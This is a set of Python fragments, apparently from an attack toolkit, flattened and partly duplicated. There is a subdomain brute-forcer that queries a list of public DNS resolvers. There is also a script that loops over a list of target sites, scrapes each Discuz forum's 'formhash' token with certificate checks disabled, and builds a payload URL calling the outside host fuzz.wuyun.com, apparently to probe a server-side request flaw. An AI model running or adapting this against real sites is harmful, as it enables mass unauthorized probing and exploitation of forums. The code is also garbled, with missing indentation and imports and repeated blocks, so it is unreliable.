def __init__(self, target, dict_file='domain.csv'): super(DomainFuzzer, self).__init__() self.target = target self.dict = FileUtils.getLines(dict_file) self.nameservers = [ '114.114.114.114', '119.29.29.29', '223.5.5.5', '8.8.8.8', '182.254.116.116', '223.6.6.6', '8.8.4.4', '180.76.76.76', '216.146.35.35', '123.125.81.6', '218.30.118.6',] self.resolver = Domain(self.nameservers, timeout=5)
def __init__(self, target, dict_file='domain.csv', timeout=5): self.target = target self.dict = FileUtils.getLines(dict_file) self.resolver = Domain(timeout=timeout)
import random import time import re import requests from utils.fileutils import FileUtils import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() for website in FileUtils.getLines('qqdz.lst'): request = requests.session() try: forumurl = "{website}/forum.php".format(website=website) response = request.get(forumurl, timeout=5, verify=False) formhash = re.findall(r'formhash" value="(.*?)"', response.content) netloc = urlparse.urlparse(website).netloc payload = 'http://fuzz.wuyun.com/404.php?s={netloc}.jpg'.format( netloc=netloc)
import requests from utils.fileutils import FileUtils import requests.packages.urllib3 requests.packages.urllib3.disable_warnings() for website in FileUtils.getLines('qqdz.lst'): request = requests.session() try: forumurl = "{website}/forum.php".format(website=website) response = request.get(forumurl, timeout=5, verify=False) formhash = re.findall(r'formhash" value="(.*?)"',response.content) netloc = urlparse.urlparse(website).netloc payload = 'http://fuzz.wuyun.com/404.php?s={netloc}.jpg'.format(netloc=netloc)